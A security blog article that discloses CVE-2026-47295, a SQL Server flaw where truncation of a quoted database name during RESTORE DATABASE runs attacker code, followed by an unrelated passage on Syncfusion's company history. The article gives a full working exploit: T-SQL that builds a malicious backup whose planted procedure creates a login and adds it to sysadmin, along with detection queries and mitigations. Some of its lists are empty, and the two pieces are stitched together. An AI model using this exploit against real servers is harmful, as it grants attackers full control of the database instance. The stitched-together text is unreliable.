CVE-2026-47295 is a SQL Server vulnerability that lets a maliciously crafted database backup execute attacker-controlled code with sysadmin privileges during a routine RESTORE DATABASE operation.

The flaw lives in the internal replication cleanup procedure sys.sp_MSremovedbreplication_internal, which builds a dynamic procedure name from the restored database’s name using QUOTENAME(). Because the destination variable is only nvarchar(255), a carefully crafted database name — one packed with closing square brackets — causes the generated name to be silently truncated into a different, attacker-controlled procedure name.

SQL Server then executes that procedure under an elevated internal restore context. The proof of concept detailed in this article demonstrates full instance compromise: a restored backup creates a new SQL Server login and adds it to the sysadmin fixed server role, with no application input, no visible SQL injection syntax, and no chance for an administrator to review the database first.

This article is part of Fabiano Amorim’s series on SQL Server vulnerabilities you may not be aware of.

A quick introduction to SQL Server backups

SQL Server backups are usually treated as data. A .bak file is something we restore, validate, refresh into QA, move between environments, use for migrations, or load during disaster recovery exercises. It’s common to think about the data inside the backup: tables, indexes, stored procedures, users, permissions, and application state.

However, a backup is more than just the data within it. It also contains metadata, object names, replication state, and database-level configurations. And, in some restore paths, that metadata is not just loaded – it’s acted upon by SQL Server itself.

The SQL Server CVE-2026-47295 vulnerability – and why it’s so unique

In this article, I’ll reveal and explain a vulnerability I reported to Microsoft. It was assigned CVE-2026-47295 and fixed in the July 2026 SQL Server security update.

While the vulnerability has been fixed, I will refer to it in the present tense for the purposes of this article.

The vulnerability exists in SQL Server’s restore / replication-cleanup path. More specifically, it’s reachable when a replication-enabled database is restored and SQL Server invokes internal replication cleanup procedures. The vulnerable procedure is sys.sp_MSremovedbreplication_internal.

At a high level, the issue is a truncation-based SQL injection / procedure-name injection vulnerability. SQL Server builds a procedure name dynamically using the restored database name, stores it in a variable that is too small, silently truncates the value, and then executes the truncated procedure name under an elevated internal restore context.

The result is serious. A maliciously crafted backup can cause attacker-controlled T-SQL to execute during RESTORE DATABASE before an administrator even has a chance to review the restored database.

The proof-of-concept demonstrates full instance compromise by creating a new SQL Server login and adding it to the sysadmin fixed server role.

Why this SQL Server vulnerability is so interesting (and unique)

Most SQL injection vulnerabilities are fairly easy to categorize, but this one’s slightly different. There’s no classic web form, application query, or obvious DROP TABLE payload. And the attacker isn’t directly passing text into a stored procedure and waiting for it to be concatenated into a batch.

Instead, the vulnerable input is a database identifier. The attack abuses how SQL Server constructs a three-part procedure name during restore: [database_name].sys.sp_MSremovedbreplication (which is stored in an nvarchar(255) variable.) This is fine under normal database names but, under a carefully crafted database name, it’s not long enough.

The string being truncated is not the only issue, though. The real problem is that the truncation can turn the intended procedure name into a different, attacker-controlled procedure name – the key idea behind this vulnerability.

While the engine intended to execute this: [restored_database].sys.sp_MSremovedbreplication – the variable is too small, so the generated procedure name can easily be truncated into something equivalent to [attacker_controlled_schema].sy.

So, if the attacker has prepared a stored procedure named sy under a matching schema inside the database backup, SQL Server executes that attacker-controlled procedure during the restore process. And because this happens inside the restore / replication-cleanup path, the attacker-controlled procedure runs under an elevated internal context.

The restore / replication call chain

The vulnerable path starts during RESTORE DATABASE.

When SQL Server restores a database, it may need to deal with replication metadata. This is especially important when the database being restored was configured as a transactional publisher, merge publisher, distributor, transactional subscriber, or merge subscriber.

SQL Server uses the sys.sp_restoredbreplication procedure as part of that flow, and the header comment in this procedure explains its purpose clearly:

/*
 * used by restore process to strip out replication settings if restoring to non-originating
 * server/db or system otherwise not capable of keeping replication working
 * WARNING : procs called here run internal to server and must be owner qualified
*/

That warning is important. It tells us these procedures are not ordinary application procedures – they are part of a trusted internal restore path.

sys.sp_restoredbreplication first checks whether the caller has a role that is allowed to restore the database:

if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) 
   and (ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0)
   and (ISNULL(IS_MEMBER('db_owner'),0) = 0)
begin
    raiserror(18799, 16, -1) 
    return 1
end

It then checks whether the restored database contains replication-related objects. For example:

if object_id(N'syspublications', N'U') is not null 
    or object_id(N'syspublications', N'V') is not null 
    or object_id(N'sysmergepublications', N'U') is not null
    or object_id(N'MSreplication_subscriptions', 'U') is not null
    or object_id(N'MSmerge_replinfo', 'U') is not null
begin
    exec @retcode = sys.sp_MSrestoredbreplication
        @srv_orig = @srv_orig, 
        @db_orig = @db_orig,
        @keep_replication = @keep_replication,
        @perform_upgrade = @perform_upgrade,
        @recoveryforklsn = @recoveryforklsn
end

So, the first part of the call chain is:

RESTORE DATABASE
    -> sys.sp_restoredbreplication
        -> sys.sp_MSrestoredbreplication

Inside sys.sp_MSrestoredbreplication, SQL Server determines whether replication should be removed from the restored database. One condition is whether the database is being restored to a different server or under a different database name, and whether KEEP_REPLICATION was requested or not. The relevant condition is:

if (( UPPER(@srv_orig) <> UPPER(@@SERVERNAME) ) or ( @db_orig <> @db_curr ))
   and @keep_replication = 0
begin
   select @remove_repl = 1
   ...
end

Later, if replication is installed and cleanup is required, SQL Server calls the vulnerable procedure:

if ( @repl_installed = 1 ) and ( @remove_repl = 1 ) begin
    if @requires_replication_fs = 1 DBCC TRACEON (8224, -1)

    exec sys.sp_MSremovedbreplication_internal
        @dbname = @db_curr,
        @ignore_distributor = 1,
        @from_backup = 1

    if @requires_replication_fs = 1 DBCC TRACEOFF (8224, -1)
end

Now, the call chain becomes:

RESTORE DATABASE
    -> sys.sp_restoredbreplication
        -> sys.sp_MSrestoredbreplication
            -> sys.sp_MSremovedbreplication_internal

…and the vulnerability is in that last procedure.

The vulnerable code

Here’s the relevant part of sys.sp_MSremovedbreplication_internal:

create procedure sys.sp_MSremovedbreplication_internal 
(
      @dbname               sysname,
      @type                 nvarchar(5) = 'both',
      @ignore_distributor   bit = 0,
      @from_backup          bit = 0
) 
AS
    SET NOCOUNT ON

    DECLARE @retcode int
    DECLARE @proc nvarchar(255)
    DECLARE @restoreoverride int
    DECLARE @db_status sysname
    DECLARE @ErrorMessage NVARCHAR(4000)

    ...

The important variable is DECLARE @proc nvarchar(255). The procedure then builds a dynamic procedure name:

SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'

EXEC @retcode = @proc
    @type = @type,
    @ignore_distributor = @ignore_distributor,
    @from_backup = @from_backup

At first glance, this looks reasonable. The code isn’t building a raw batch like EXEC('...'). Instead, it’s building an object name and then executing it: EXEC @retcode = @proc ...

The database name is also passed through QUOTENAME(), which is usually the right function to use when converting an identifier into a delimited identifier. The intended result is [DatabaseName].sys.sp_MSremovedbreplication.

The problem, however, is the size of @proc. A SQL Server sysname can be up to 128 characters, but QUOTENAME() can make the resulting string much longer, especially when the input contains closing square brackets (]). This is because every ] inside a bracket-delimited identifier must be escaped by doubling it.

For example, a database name made of many ] characters expands significantly when passed through QUOTENAME(). If the database name is 125 closing brackets, then:

Original database name length: 125
QUOTENAME(@dbname) length:     252
Suffix length:                  29
Full procedure name length:    281

The suffix is .sys.sp_MSremovedbreplication, but @proc can only hold 255 characters: DECLARE @proc nvarchar(255).

This results in SQL Server silently truncating the generated procedure name during assignment, which changes the meaning of the procedure name in the process.

So, instead of storing the full intended value – [escaped_database_name].sys.sp_MSremovedbreplication – the variable ends with only the first few characters of the suffix: [escaped_database_or_schema_name].sy. This is enough to redirect execution.

Why the crafted name works

The proof-of-concept uses a database name made of 125 closing square brackets:

]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]

This looks strange, but is in fact a valid delimited identifier. The reason it’s useful is because of how QUOTENAME() escapes closing brackets. A simplified example being SELECT QUOTENAME(N']'), which returns just []]]. That is:

Opening bracket: [
Escaped closing bracket: ]]
Closing bracket: ]

Every ] in the original name becomes ]] in the quoted name, so when the original database name contains 125 ] characters, the quoted version becomes very large! When SQL Server then appends .sys.sp_MSremovedbreplication, the generated string no longer fits inside nvarchar(255).

The attacker chooses the database-name length so that the truncation happens at a useful point: after .sy. This means the variable no longer references the intended system procedure – it references a shorter name ending in sy. The attacker then creates a matching schema and stored procedure inside the malicious database:

CREATE SCHEMA [same crafted name]
GO

CREATE PROC [same crafted name].[sy]
...

When SQL Server later executes the truncated @proc value, name resolution reaches the attacker-controlled procedure. This is the core of the vulnerability:

1. SQL Server builds an intended procedure name from a database name.
2. The database name is attacker-controlled through the restored backup.
3. QUOTENAME() expands the database name.
4. The generated procedure name is longer than nvarchar(255).
5. SQL Server truncates the value.
6. The truncated value becomes a valid attacker-controlled procedure name.
7. SQL Server executes that procedure under the elevated restore context.

Why is this a SQL Server privilege escalation?

Put simply, the attacker doesn’t just cause an error – they get code execution inside a privileged internal workflow within the SQL Server.

This is possible because the procedure sys.sp_MSremovedbreplication_internal is part of the restore / replication cleanup path – and the restore engine invokes this path while handling replication metadata.

According to the behavior observed in the proof-of-concept, the attacker-controlled stored procedure executes under an internal elevated context (effectively sa). This changes the impact completely, as no longer is the attacker-controlled procedure ran as the low-privileged login that created the database (interesting, but not critical).

Instead, the attacker-controlled procedure can run as the elevated restore context, and the malicious backup can become a vehicle for privilege escalation. The proof-of-concept demonstrates this by creating a new login:

CREATE LOGIN [NewSysAdminLogin]
WITH PASSWORD=N'complexpwd', CHECK_POLICY=OFF

…and then adding it to the sysadmin fixed server role:

ALTER SERVER ROLE [sysadmin] ADD MEMBER [NewSysAdminLogin]

After the restore completes, the login exists on the target instance, and is a sysadmin. This is full-instance compromise.

Full reproduction of the vulnerability (step-by-step guide)

The following full reproduction of the security vulnerability should be run only in an isolated lab environment. The scenario uses two SQL Server instances:

Instance A: attacker-controlled build instance
Instance B: target restore instance

The attacker prepares the malicious backup on Instance A, and the backup is restored on Instance B. The restore on Instance B then triggers the replication cleanup path, causing SQL Server to execute the attacker-controlled procedure.

Step 1: Create a database using a crafted name

First, create a database with a name made of 125 closing square brackets:

USE master
GO

CREATE DATABASE "]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
GO

This database name is important because it causes QUOTENAME(@dbname) to expand enough that this expression becomes longer than 255 characters: quotename(@dbname) + '.sys.sp_MSremovedbreplication'. The vulnerable procedure then stores that expression in @proc nvarchar(255), which causes truncation.

Step 2: Enable replication publishing

The vulnerable restore path is only reached when SQL Server detects replication-related metadata. Enable publishing on the crafted-name database:

EXEC sp_replicationdboption
    @dbname =
N']]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]',
    @optname = N'publish',
    @value = N'true'
GO

This step ensures the database carries replication state so that, during restore, SQL Server invokes the replication cleanup workflow. Without this replication state, sp_restoredbreplication may not call the deeper replication cleanup procedures.

Step 3: Create the attacker-controlled schema and procedure

Switch to the crafted-name database…

USE
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
GO

…and then create a schema with it:

CREATE SCHEMA
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
GO

Under the schema, create a stored procedure called sy:

CREATE PROC
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]".
"sy"
    @type               NVARCHAR(5) = '',
    @ignore_distributor BIT = 0,
    @from_backup        BIT = 0
AS
BEGIN
    BEGIN TRY
        IF SUSER_ID('NewSysAdminLogin') IS NULL
        BEGIN
            CREATE LOGIN [NewSysAdminLogin]
                WITH PASSWORD=N'complexpwd',
                CHECK_POLICY=OFF;

            ALTER SERVER ROLE [sysadmin]
                ADD MEMBER [NewSysAdminLogin];
        END
    END TRY
    BEGIN CATCH
        PRINT ERROR_MESSAGE();
    END CATCH
END
GO

The procedure signature is intentional. The vulnerable code later calls the generated procedure name with these parameters:

@type = @type,
@ignore_distributor = @ignore_distributor,
@from_backup = @from_backup

Therefore, the attacker-controlled procedure must accept compatible parameters. The payload in this demonstration creates a SQL login and adds it to sysadmin. This isn’t required for exploitation, but is a clear way to prove that the code executed with elevated server-level privileges.

Step 4: Back up the database

Back up the crafted database:

BACKUP DATABASE
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
TO DISK = N'C:\Temp\Backup\Test1.bak'
WITH
    NAME = N'Test1-Full Database Backup',
    SKIP,
    NOREWIND,
    NOUNLOAD,
    STATS = 10
GO

At this point, the malicious content is inside the backup – this content being:

- A replication-enabled database
- A crafted database name
- A crafted schema name
- A stored procedure named sy
- A payload that creates a sysadmin login

Step 5: Restore the backup on a different instance

Now, move the backup to another SQL Server instance, and restore it there:

USE [master];
GO

RESTORE DATABASE
"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"
FROM DISK = N'C:\Temp\Backup\Test1.bak'
WITH
    FILE = 1,
    MOVE N'Tmp1'     TO N'C:\Temp\Tmp1.mdf',
    MOVE N'Tmp1_log' TO N'C:\Temp\Tmp1_log.ldf',
    REPLACE
GO

Because the database is restored on a different instance, SQL Server determines that replication cleanup is required. This is the trigger for the vulnerability. The restore path now calls sys.sp_restoredbreplication, which in turn calls sys.sp_MSrestoredbreplication and then, finally, sys.sp_MSremovedbreplication_internal.

Then, inside sys.sp_MSremovedbreplication_internal, SQL Server builds the intended procedure name:
SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'

However, the value is truncated, because @proc is only nvarchar(255). This truncated procedure name resolves to the attacker-controlled procedure:

"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]"."sy"

SQL Server now executes it with the parameters expected by the original internal call.

Step 6: Verify the result

After the restore, check whether the login was created and whether it’s a sysadmin:

SELECT
    SUSER_ID('NewSysAdminLogin') AS loginid,
    IS_SRVROLEMEMBER('sysadmin', 'NewSysAdminLogin') AS is_sysadmin;
GO

The result should be:

loginid     is_sysadmin
----------- -----------
381         1

The exact loginid may differ, but is_sysadmin = 1 confirms the impact. The attacker-controlled procedure executed during restore and successfully added a new member to the sysadmin server role.

What’s the root cause of this SQL Server vulnerability?

The root cause is unsafe dynamic procedure-name construction, combined with too small a buffer for the maximum possible quoted identifier.

The vulnerable declaration is DECLARE @proc nvarchar(255), and the vulnerable assignment is SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'.

The assumption appears to be that 255 characters is enough to hold the generated procedure name – but it’s not, since @dbname is sysname and can therefore be up to 128 characters.

And, because QUOTENAME() must escape closing brackets, a valid 125-character database name can expand to 252 characters after quoting. Once the suffix is appended, the generated value becomes 281 characters.

Clearly, this doesn’t fit in nvarchar(255), so SQL Server silently truncates the value – and that truncated value is still syntactically valid enough to be executed as a procedure name. The result is a procedure-name injection primitive.

So, the vulnerability is not caused by QUOTENAME() being unsafe – it’s just doing what it’s supposed to do. The actual problem is that the code doesn’t allocate enough space for the result of QUOTENAME() and the suffix.

This is exactly why, in security-sensitive dynamic SQL paths, truncation can very easily escalate from a simple ‘correctness’ bug to a far more significant – and dangerous – code execution bug.

Why QUOTENAME wasn’t enough

QUOTENAME() is often recommended for safely delimiting SQL Server identifiers, and that recommendation is still valid. However, it only helps if the result is preserved correctly. This pattern, for example, is unsafe:

DECLARE @proc nvarchar(255);

SELECT @proc = QUOTENAME(@dbname) + N'.sys.SomeProcedure';

EXEC @proc;

The safe version must ensure the destination variable can always hold the fully-generated string. For this case, the maximum size must account for:

Maximum sysname input:        128 characters
Worst-case escaped brackets:  up to 256 characters
Wrapping brackets:            2 characters
Suffix:                       length of ".sys.sp_MSremovedbreplication"

Therefore the buffer must be larger than 255 characters. A safer declaration would be
DECLARE @proc nvarchar(4000);, or another size large enough to hold the maximum possible quoted identifier and suffix.

Size alone is not the only lesson to learn here. The code should also validate that the generated value was not truncated, avoid executing attacker-influenced object names where possible, and ensure that internal elevated paths cannot resolve to user-created objects.

Why this vulnerability matters for restore workflows

This SQL Server vulnerability is important because it changes how we should think about database restores.

Restoring a database is often considered a safe administrative operation, as long as the administrator trusts the person requesting the restore, or trusts the source of the backup. However, the restore process itself can execute internal code paths that interact with restored metadata.

In this case, the dangerous combination was:

Untrusted backup
+ Replication metadata
+ Crafted database / schema names
+ Internal restore cleanup
+ Elevated execution context
+ Truncation of a dynamic procedure name
= Privilege escalation

This is especially relevant in environments where restores are routine, such as:

A DBA may restore a backup just to inspect it, and a consultant may restore a customer database in a lab. What about a cloud provider? They could restore customer databases as part of managed workflows. Not to mention the internal teams restoring a copy of production into a lower environment every night…

They’re all vulnerable: if the backup is malicious, the restore itself may be the moment the attack lands.

What’s the impact of this SQL Server vulnerability?

The demonstrated impact of this vulnerability is full SQL Server instance compromise. Once attacker-controlled T-SQL runs as the elevated restore context, the attacker can do anything that context can do.

The proof-of-concept creates a new login and adds it to sysadmin, but that’s only one example. Depending on configuration and privileges, an attacker could potentially:

Bottom line: a restored database should not be able to execute attacker-controlled code as sa during restore – but this vulnerability allowed exactly that to happen.

How to detect the vulnerability

After applying the Microsoft security update, the primary mitigation is patching. However, defenders may still want to hunt for signs of prior exploitation or suspicious restore activity. Useful areas to review include:

Recently restored databases with unusual names

Look for database names containing unusual quantities of closing square brackets or other suspicious identifier patterns, such as:

SELECT
    name,
    create_date,
    modify_date
FROM sys.databases
WHERE name LIKE '%]%'
ORDER BY create_date DESC;

A database name containing ] is not automatically malicious, but a very long sequence of closing brackets is highly unusual.

Suspicious schemas and procedures

Look for schemas and procedures with unusual names in recently restored databases. For a specific database:

SELECT
    s.name AS schema_name,
    o.name AS object_name,
    o.type_desc,
    o.create_date,
    o.modify_date
FROM sys.objects AS o
JOIN sys.schemas AS s
    ON o.schema_id = s.schema_id
WHERE s.name LIKE '%]%'
   OR o.name IN (N'sy')
ORDER BY o.create_date DESC;

Again, sy is not inherently malicious but – in the context of this vulnerability – a procedure named sy under a strange bracket-heavy schema is suspicious.

Unexpected sysadmin role membership

Check recent and unexpected sysadmin members:

SELECT
    sp.name AS login_name,
    sp.type_desc,
    sp.create_date,
    sp.modify_date
FROM sys.server_role_members AS srm
JOIN sys.server_principals AS role_principal
    ON srm.role_principal_id = role_principal.principal_id
JOIN sys.server_principals AS sp
    ON srm.member_principal_id = sp.principal_id
WHERE role_principal.name = N'sysadmin'
ORDER BY sp.create_date DESC;

If a new login appeared around the time of a restore, investigate immediately.

Restore history

Review restore history in msdb:

SELECT
    rh.restore_date,
    rh.destination_database_name,
    rh.user_name,
    bs.database_name AS source_database_name,
    bmf.physical_device_name
FROM msdb.dbo.restorehistory AS rh
LEFT JOIN msdb.dbo.backupset AS bs
    ON rh.backup_set_id = bs.backup_set_id
LEFT JOIN msdb.dbo.backupmediafamily AS bmf
    ON bs.media_set_id = bmf.media_set_id
ORDER BY rh.restore_date DESC;

This can help correlate suspicious server-level changes with database restores.

Default trace, audit, Extended Events, and SIEM logs

Depending on your logging configuration, review events around:

If SQL Server Audit is enabled, check for server principal and role membership changes.

How to prevent the vulnerability (mitigation)

The most important mitigation is to apply the SQL Server security update that fixes CVE-2026-47295. Beyond patching, though, the broader operational recommendations are:

Treat untrusted backups as untrusted code

A backup from an unknown or lower-trust source should not be restored directly onto a sensitive SQL Server instance.

Use isolated restore environments for vendor and customer-provided backups, and backups from compromised environments, lower-trust networks, and those used for malware or incident response analysis.

Avoid restoring untrusted backups on production-adjacent instances

A “temporary” restore on a shared administrative instance can still expose sensitive credentials, linked servers, jobs, or privileged service accounts. Use disposable lab instances whenever possible.

Monitor restore workflows

Organizations often monitor application queries but pay less attention to restore operations. This is dangerous – you should be paying attention to restore operations.

After all, a restore is a privileged event, one that can introduce metadata, code, users, permissions, jobs, and configuration assumptions. It should be logged, reviewed, and correlated with server-level changes.

Review replication artifacts after restore

Replication metadata is complex and often trusted by internal SQL Server workflows. After restoring a database with replication artifacts, you should always review replication system tables and stored procedures, triggers, agent jobs, database ownership, and suspicious schemas and object names.

However, this vulnerability shows that post-restore review is not always sufficient. If the restore itself can trigger code execution, the review may happen too late.

Follow least privilege for restore operators

The ability to restore databases is powerful. Users with restore permissions may be able to introduce databases, metadata, ownership chains, and potentially dangerous objects into an instance. Even after this specific vulnerability is patched, restore rights should be treated as sensitive administrative permissions.

The importance of secure T-SQL development

This vulnerability also emphasizes the importance of secure T-SQL development. Some key takeaways are:

Identifier quoting must include buffer sizing

Using QUOTENAME() is not enough if the result is stored in a variable that can truncate it. Any code like this should be reviewed carefully:

DECLARE @sql nvarchar(255);

SET @sql = QUOTENAME(@name) + N'.some.long.suffix';

The maximum output of QUOTENAME() must be considered.

Truncation can be exploitable

In dynamic SQL, string truncation can often transform from being just a reliability problem into being a security problem. This is because a truncated string may still be syntactically valid and – worse still – it may even become valid in a different way than the developer intended. That’s exactly what happened in this vulnerability.

Elevated internal workflows must not resolve attacker-controlled objects

If an internal elevated procedure must execute another procedure, it should avoid name resolution paths that can be influenced by attacker-controlled database metadata.

This is especially important during restore, attach, upgrade, replication cleanup, and other operations where SQL Server processes metadata that originated outside the current instance.

Restore is a trust boundary

Restore code processes external data, so should be designed with the same level of suspicion as import parsers, deserializers, and migration engines. Yes, a backup may come from SQL Server, but that doesn’t mean it’s a trusted SQL Server.

Conclusion

CVE-2026-47295 is a good example of why SQL Server security research often becomes interesting at the boundary between data, metadata, and internal engine workflows. This vulnerability isn’t a classic application SQL injection, or a simple missing quote escape. Instead, it’s a truncation bug in an internal restore / replication-cleanup procedure.

The vulnerable procedure built a procedure name using quotename(@dbname) + '.sys.sp_MSremovedbreplication', and stored the result in nvarchar(255).

For a carefully crafted database name, the quoted identifier plus suffix exceeded 255 characters, so SQL Server silently truncated the value. That truncated value could then be shaped into a valid reference to an attacker-controlled procedure inside the restored database.

During RESTORE DATABASE, SQL Server followed the replication cleanup path:

RESTORE DATABASE
    -> sys.sp_restoredbreplication
        -> sys.sp_MSrestoredbreplication
            -> sys.sp_MSremovedbreplication_internal
                -> attacker-controlled procedure

Because that path ran under an elevated internal context, the attacker-controlled procedure executed with enough privileges to create a new login and add it to sysadmin.

The most important takeaway is simple: a database backup is not just data. It’s metadata, code, configuration, and trust assumptions packaged into a file.

When that file is restored, SQL Server may act on those assumptions automatically. That makes restore workflows a security boundary — and security boundaries deserve the same scrutiny as any other path that processes untrusted input.

The post How a SQL Server backup can execute attacker code during restore – and how to prevent it (CVE-2026-47295 vulnerability) appeared first on Simple Talk.

A new century, a new way to build

In 2001, building software for Windows meant assembling pieces from many sources. Developers didn’t write applications from scratch; they leaned on prebuilt components for data grids, chart libraries, reporting tools, and more, stitched together from a patchwork of vendors. They often spent as much time wiring those pieces together as they did on the application itself.

2001 was also the year the dot-com bubble burst. The companies that lasted were the ones built by people confident that they could make software better and willing to do the methodical work to prove it.

Eight developers in Research Triangle Park, North Carolina, had spent their careers in software product management and component development, and in 2001, they founded Syncfusion^® with a straightforward conviction: development should be easier, faster, and more predictable. Twenty-five years later, Syncfusion serves over a million active developers and more than 40,000 companies, topping 2,000 employees working from offices in the US, India, and Kenya.

A convergence of visions

Syncfusion’s eight founders brought complementary backgrounds to a single problem. Stefan Hoenig, the company’s first CEO and now chairman of the board and president, had the founding idea: a high-performance data grid built for Microsoft’s new .NET Framework platform. He designed it, he built it, and it became Essential Grid, the company’s most recognized early product. From there, the library grew, control by control, feature by feature, as developers asked for more.

Clay Burch built Syncfusion’s support infrastructure, and with it, the customer responsiveness that became a defining trait.

Daniel Jebaraj, now CEO, led development on Essential Chart. His brother, Davis Jebaraj, contributed to several foundational early products, including Essential Tools.

Praveen Ramesh, Prakash Surendra, and Arun Srinivasan were central to product development and technical infrastructure from the start.

Ellis Gregory, an experienced entrepreneur in the RTP technology community, provided operational grounding when the company needed it most.

Within months, the first product was ready.

The initial offering

One evening in March 2002, the team shipped Essential Suite: a bundle of components covering grids, charts, and tools for Windows application development. A full year of work was suddenly out in the world. How would developers respond? What would they think? The answer arrived with the first license sold.

The early feedback was specific: developers wanted more controls, more features. Syncfusion had found its customers, and they were already pointing the way forward. The company would rise to the occasion, and by April 2004, Essential Suite had grown to 33 controls, earning Syncfusion a spot on the SD Times 100, an annual recognition of companies with the most influence on the software development industry.

When the giants are all looking the same way

The component market of the early 2000s ran on specialization. One company made the best grid, another owned charting, and a third had the best reporting tools. Each dominated its narrow category, leaving developers who needed all three (which was most of them) buying à la carte, juggling multiple vendor relationships and components that were never designed to work together.

Syncfusion’s bet was to become the one vendor a developer could rely on for everything. That meant matching the quality of established specialists in every category it entered, a high bar. It also meant doing something no competitor would: handing over the source code.

Most vendors treated their components as a black box: customers got the finished product but never the recipe. Syncfusion, however, offered both. Developers could see exactly how every component was built, trust what they were building on, and modify it when needed. In an industry where vendor lock-in was the default, that level of access was unprecedented and truly impactful for developers. Essential Suite sales climbed, and the customer base began to take shape.

Following the work

The early product line covered Windows desktop applications. When developers moved to web frameworks, Syncfusion’s library moved with them. When mobile applications arrived, Syncfusion followed suit. And when cross-platform tools let developers write one codebase and deploy it across devices, Syncfusion had components ready for that as well. That responsiveness, sustained across more than two decades of platform shifts, earned the company a place on the Inc. 5000 list of fastest-growing private companies.

Not every platform lasted long enough to justify the work. Syncfusion built component suites for Windows Phone and Silverlight, both of which ultimately faded. It also developed Orubase, its own framework for hybrid mobile apps. Each was a bet on staying close to where developers were working, even when the destination turned out to be temporary.

Years of exponential growth

The company that shipped one component in 2002 looked very different by 2005. Growth meant hiring; not just developers, but people in sales, support, and operations. Teams formed around specific functions, and the founders, who had each been doing a little of everything, settled into defined roles.

In 2005, Syncfusion signed its first global license agreement and rebranded its flagship as Essential Studio, a name that reflected how far the library had come. To meet demand from outside the US, the company opened its first international office in Chennai, the capital of the state of Tamil Nadu in southern India, and the city where Daniel and Davis Jebaraj grew up. The Chennai office started as a technical support operation and expanded into full product development, eventually growing to nearly 2,000 employees across three locations in the city.

The second international expansion, in September 2020, took a different path. Daniel Jebaraj had spent years volunteering with an organization that teaches computer skills to high school graduates in Kisumu, a city in western Kenya. There he met young people with strong fundamentals and a real eagerness to learn, most of them priced out of university. The potential was plain, and giving it the opportunity to flourish was reason enough to open an office. Syncfusion started in Kisumu with four employees. Today, there are over 500 employees working in product development, technical writing, sales, legal, and accounts.

Reaching out, giving back

In 2004, Syncfusion joined the Microsoft Visual Studio Partner Program, deepening its ties to the .NET developer community. But its relationship with developers was never only commercial. Alongside the products came a steady run of free resources. Guides, icon libraries, ebooks, and full licenses were all built on the same logic as everything else Syncfusion was creating: take the friction out of a developer’s day, whether someone pays for a subscription or not.

The WinForms FAQs

In June 2002, three months after Essential Suite launched, Syncfusion technology consultant George Shepherd published the WinForms FAQs, a practical guide for developers building Windows desktop applications. The FAQs have since expanded to cover WPF, ASP.NET, and Blazor, and remain a working reference today.

Metro Studio

By 2012, UI design was moving away from three-dimensional, texture-heavy icons toward flat, two-dimensional design: simpler visuals that rendered faster and worked better on small screens. Syncfusion released Metro Studio that year, a free library of more than 7,000 customizable icons that could be combined into over 100,000 unique UI elements. It now has more than 170,000 downloads.

The Succinctly series

Developer documentation has a recurring problem: it’s either too shallow or too dense. Blog posts don’t go deep enough; textbooks are overwhelmingly long. In 2012, Syncfusion launched the Succinctly® series to fill the gap with free ebooks, each around 100 pages, written by experts who teach through real projects. The first title, jQuery Succinctly by Cody Lindley, came out that year. The series now holds more than 200 titles, has over four million downloads, and boasts a mobile app.

The Community License

In 2014, Syncfusion introduced a Community License, giving individual developers and small businesses full access to its entire product suite at no cost. The terms are straightforward: meet the eligibility requirements and get a fully featured, fully supported license. More than 154,000 have been claimed to date, representing over $1.9 billion in software distributed for free.

The Alliance Partner Program

In 2017, Syncfusion launched the Alliance Partner Program, extending its reach through software consultancies and DevOps firms. Partners get access to the full product suite and can offer clients deep customization built on Syncfusion’s frameworks.

Open-source packages

In 2024, Syncfusion released the open-source Toolkit for .NET MAUI in collaboration with Microsoft. The toolkit now offers more than 30 freely available components on GitHub and NuGet. Syncfusion was the only software vendor selected for this collaboration with Microsoft.

In June 2026, the Syncfusion Toolkit for Blazor was released, providing developers with an open-source suite of UI components designed to accelerate the development of Blazor Server and WebAssembly apps. These toolkits were formed from the same conviction as the Succinctly series and the Community License: the tools developers need shouldn’t depend on the size of their budget.

The enterprise turn

Syncfusion built products for developers, who then built products for everyone else. But that began to shift around 2009, when Syncfusion started developing frameworks for dashboards and data visualization. The work was still technical and component-level, but it was pointing somewhere new.

The ideas came from customers. They kept asking Syncfusion to build things like dashboards and reporting tools for them. Syncfusion realized that with Essential Studio as the foundation, they could develop, maintain, and deliver these applications at scale and at the same level of quality for a fraction of what they cost elsewhere.

